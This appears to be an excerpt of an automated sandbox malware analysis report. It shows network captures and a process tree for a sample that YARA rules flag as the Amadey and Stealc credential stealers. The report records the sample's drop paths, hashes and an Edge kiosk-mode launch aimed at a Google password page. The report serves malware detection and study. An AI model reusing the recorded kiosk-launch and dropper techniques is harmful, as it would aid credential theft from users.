2024-09-01 03:09:40 UTC	11989	IN	Data Raw: 7b 0d 0a 20 20 22 63 6f 6e 66 69 67 56 65 72 73 69 6f 6e 22 3a 20 33 32 2c 0d 0a 20 20 22 50 72 69 76 69 6c 65 67 65 64 45 78 70 65 72 69 65 6e 63 65 73 22 3a 20 5b 0d 0a 20 20 20 20 22 53 68 6f 72 65 6c 69 6e 65 50 72 69 76 69 6c 65 67 65 64 45 78 70 65 72 69 65 6e 63 65 49 44 22 2c 0d 0a 20 20 20 20 22 53 48 4f 50 50 49 4e 47 5f 41 55 54 4f 5f 53 48 4f 57 5f 43 4f 55 50 4f 4e 53 5f 43 48 45 43 4b 4f 55 54 22 2c 0d 0a 20 20 20 20 22 53 48 4f 50 50 49 4e 47 5f 41 55 54 4f 5f 53 48 4f 57 5f 4c 4f 57 45 52 5f 50 52 49 43 45 5f 46 4f 55 4e 44 22 2c 0d 0a 20 20 20 20 22 53 48 4f 50 50 49 4e 47 5f 41 55 54 4f 5f 53 48 4f 57 5f 42 49 4e 47 5f 53 45 41 52 43 48 22 2c 0d 0a 20 20 20 20 22 53 48 4f 50 50 49 4e 47 5f 41 55 54 4f 5f 53 48 4f 57 5f 52 45 42 41 54 45 Data Ascii: { "configVersion": 32, "PrivilegedExperiences": [ "ShorelinePrivilegedExperienceID", "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT", "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND", "SHOPPING_AUTO_SHOW_BING_SEARCH", "SHOPPING_AUTO_SHOW_REBATE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49813	172.64.41.3	443	6868	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-01 03:09:41 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-09-01 03:09:41 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-09-01 03:09:41 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sun, 01 Sep 2024 03:09:41 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8bc2101ceb5c42e9-EWR alt-svc: h3=":443"; ma=86400
2024-09-01 03:09:41 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 1c 00 04 8e fa 50 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomPc)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49812	172.64.41.3	443	6868	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-01 03:09:41 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-09-01 03:09:41 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-09-01 03:09:41 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sun, 01 Sep 2024 03:09:41 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8bc2101cff2bc32b-EWR alt-svc: h3=":443"; ma=86400
2024-09-01 03:09:41 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 1a 00 04 8e fb 20 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom c)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49814	162.159.61.3	443	6868	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-01 03:09:41 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-09-01 03:09:41 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-09-01 03:09:41 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sun, 01 Sep 2024 03:09:41 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8bc2101d2a788c29-EWR alt-svc: h3=":443"; ma=86400
2024-09-01 03:09:41 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 0c 00 04 8e fa 48 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomHc)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	52615	152.195.19.97	443	6868	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-01 03:09:43 UTC	622	OUT	GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1725764978&P2=404&P3=2&P4=WBb34KuFQqMwDM0qCf5hz6r9hwUe5kC8GPtmqdap%2fkx%2fUQ2ctKkN0FeRtfBg52MWh%2be0L4CPD6GZPQj%2b20%2fKxQ%3d%3d HTTP/1.1 Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com Connection: keep-alive MS-CV: ijXf796fROVwWTc8/tYMCu Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-09-01 03:09:43 UTC	632	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 5086714 Cache-Control: public, max-age=17280000 Content-Type: application/x-chrome-extension Date: Sun, 01 Sep 2024 03:09:43 GMT Etag: "Gv3jDkaZdFLRHkoq2781zOehQE8=" Last-Modified: Wed, 24 Jan 2024 00:25:37 GMT MS-CorrelationId: b4b4aabf-4d02-4629-96b1-a382405b6a31 MS-CV: 642I+iNy0Qp5KFcIV/sUKh.0 MS-RequestId: 5245ac9e-0afd-43ce-8780-5c7d0bedf1d4 Server: ECAcc (nyd/D11E) X-AspNet-Version: 4.0.30319 X-AspNetMvc-Version: 5.3 X-Cache: HIT X-CCC: US X-CID: 11 X-Powered-By: ASP.NET X-Powered-By: ARR/3.0 X-Powered-By: ASP.NET Content-Length: 11185 Connection: close
2024-09-01 03:09:43 UTC	11185	IN	Data Raw: 43 72 32 34 03 00 00 00 1d 05 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 bb 4e a9 d8 c8 e8 cb ac 89 0d 45 23 09 ef 07 9e ab ed 9a 39 65 ef 75 ea 71 bc a5 c4 56 59 59 ef 8c 08 40 04 2b ed 43 d0 dc 6b a7 4f 88 b9 62 4b d3 60 94 de 36 ee 47 92 ab 25 8a 1e cc 0d fa 33 5a 12 19 8e 65 20 5f fd 36 15 d6 13 1e 46 ae 8b 31 70 18 f1 a8 4b 1d 5a ff de 0e 83 8e 11 b2 2f 20 ed 33 88 cb fb 4f 54 94 9e 60 00 d3 bc 30 ab c0 d7 59 8b b0 96 46 54 fc f0 34 33 1c 74 68 d6 79 f9 0c 8c 7d 8a 91 98 ca 70 c6 4c 0f 1b c8 32 53 b9 26 69 cc 60 09 8d 6f ec f9 a6 66 8d 6f 48 81 0e 05 8a f1 97 4e b8 c3 94 3a b3 f7 69 6a 54 89 33 da 9e 46 7b d1 30 bb 2c cc 66 3f 27 66 e3 43 51 74 3b 62 5f 22 50 63 08 e5 20 Data Ascii: Cr240"0*H0NE#9euqVYY@+CkObK`6G%3Ze _6F1pKZ/ 3OT`0YFT43thy}pL2S&i`ofoHN:ijT3F{0,f?'fCQt;b_"Pc

Target ID:	0
Start time:	23:07:54
Start date:	31/08/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xaf0000
File size:	1'909'248 bytes
MD5 hash:	D2D35997021550D304BF21A670921EFE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.1731310939.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.1644028798.00000000052D0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	23:08:01
Start date:	31/08/2024
Path:	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe"
Imagebase:	0xaf0000
File size:	1'909'248 bytes
MD5 hash:	D2D35997021550D304BF21A670921EFE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000003.1724434181.0000000004D70000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000002.1764804694.0000000000AF1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	23:08:01
Start date:	31/08/2024
Path:	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
Imagebase:	0xaf0000
File size:	1'909'248 bytes
MD5 hash:	D2D35997021550D304BF21A670921EFE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000003.1725167725.0000000004C90000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.1765635278.0000000000AF1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	23:09:01
Start date:	31/08/2024
Path:	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
Imagebase:	0xaf0000
File size:	1'909'248 bytes
MD5 hash:	D2D35997021550D304BF21A670921EFE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000003.2316417057.00000000052D0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000002.2880125068.0000000000AF1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	23:09:08
Start date:	31/08/2024
Path:	C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe"
Imagebase:	0x660000
File size:	1'771'008 bytes
MD5 hash:	3D7BB337FEC6E0587CB2AC31BBD4780A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000007.00000002.2639639180.0000000000FAE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000007.00000002.2639639180.0000000000FAE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000007.00000002.2639639180.0000000001024000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	23:09:10
Start date:	31/08/2024
Path:	C:\Users\user\AppData\Roaming\1000052000\53c7d901f1.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\1000052000\53c7d901f1.exe"
Imagebase:	0x490000
File size:	1'771'008 bytes
MD5 hash:	3D7BB337FEC6E0587CB2AC31BBD4780A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000008.00000002.2653239563.0000000000FAE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	23:09:14
Start date:	31/08/2024
Path:	C:\Users\user\AppData\Local\Temp\1000053001\8eb30d7f71.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000053001\8eb30d7f71.exe"
Imagebase:	0x510000
File size:	917'504 bytes
MD5 hash:	F1864783E3A390625B906496CA7983A2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	23:09:14
Start date:	31/08/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --kiosk --edge-kiosk-type=fullscreen --no-first-run --disable-features=TranslateUI --disable-popup-blocking --disable-extensions --no-default-browser-check --app=https://accounts.google.com/ServiceLogin?service=accountsettings&continue=https://myaccount.google.com/signinoptions/password
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	23:09:15
Start date:	31/08/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2144 --field-trial-handle=2064,i,2067255111273932546,8949113653420219710,262144 --disable-features=TranslateUI /prefetch:3
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	23:09:15
Start date:	31/08/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --kiosk --edge-kiosk-type=fullscreen --no-first-run --disable-features=TranslateUI --disable-popup-blocking --disable-extensions --no-default-browser-check --app=https://accounts.google.com/ServiceLogin?service=accountsettings&continue=https://myaccount.google.com/signinoptions/password --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	23:09:15
Start date:	31/08/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2616 --field-trial-handle=1980,i,18313026722689796995,6821314584092164517,262144 --disable-features=TranslateUI /prefetch:3
Imagebase:	0x7ff7b32d0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	23:09:20
Start date:	31/08/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=4612 --field-trial-handle=1980,i,18313026722689796995,6821314584092164517,262144 --disable-features=TranslateUI /prefetch:8
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	23:09:20
Start date:	31/08/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7040 --field-trial-handle=1980,i,18313026722689796995,6821314584092164517,262144 --disable-features=TranslateUI /prefetch:8
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	23:09:20
Start date:	31/08/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6416 --field-trial-handle=1980,i,18313026722689796995,6821314584092164517,262144 --disable-features=TranslateUI /prefetch:8
Imagebase:	0x7ff629a80000
File size:	1'255'976 bytes
MD5 hash:	76C58E5BABFE4ACF0308AA646FC0F416
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	23:09:20
Start date:	31/08/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6416 --field-trial-handle=1980,i,18313026722689796995,6821314584092164517,262144 --disable-features=TranslateUI /prefetch:8
Imagebase:	0x7ff629a80000
File size:	1'255'976 bytes
MD5 hash:	76C58E5BABFE4ACF0308AA646FC0F416
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	23:09:33
Start date:	31/08/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start /prefetch:5
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	22
Start time:	23:09:34
Start date:	31/08/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=3056 --field-trial-handle=2840,i,12003501403383072226,2430536015777904389,262144 /prefetch:3
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	23
Start time:	23:09:34
Start date:	31/08/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=4132 --field-trial-handle=2840,i,12003501403383072226,2430536015777904389,262144 /prefetch:8
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	24
Start time:	23:09:36
Start date:	31/08/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6108 --field-trial-handle=2840,i,12003501403383072226,2430536015777904389,262144 /prefetch:8
Imagebase:	0x7ff629a80000
File size:	1'255'976 bytes
MD5 hash:	76C58E5BABFE4ACF0308AA646FC0F416
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	23:09:36
Start date:	31/08/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6108 --field-trial-handle=2840,i,12003501403383072226,2430536015777904389,262144 /prefetch:8
Imagebase:	0x7ff629a80000
File size:	1'255'976 bytes
MD5 hash:	76C58E5BABFE4ACF0308AA646FC0F416
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	23:09:41
Start date:	31/08/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start /prefetch:5
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	23:09:42
Start date:	31/08/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2108 --field-trial-handle=1160,i,17042684596641100279,13993029759771197311,262144 /prefetch:3
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	23:09:50
Start date:	31/08/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start /prefetch:5
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	23:09:50
Start date:	31/08/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1684 --field-trial-handle=2064,i,2036512315538271588,12735040485945945240,262144 /prefetch:3
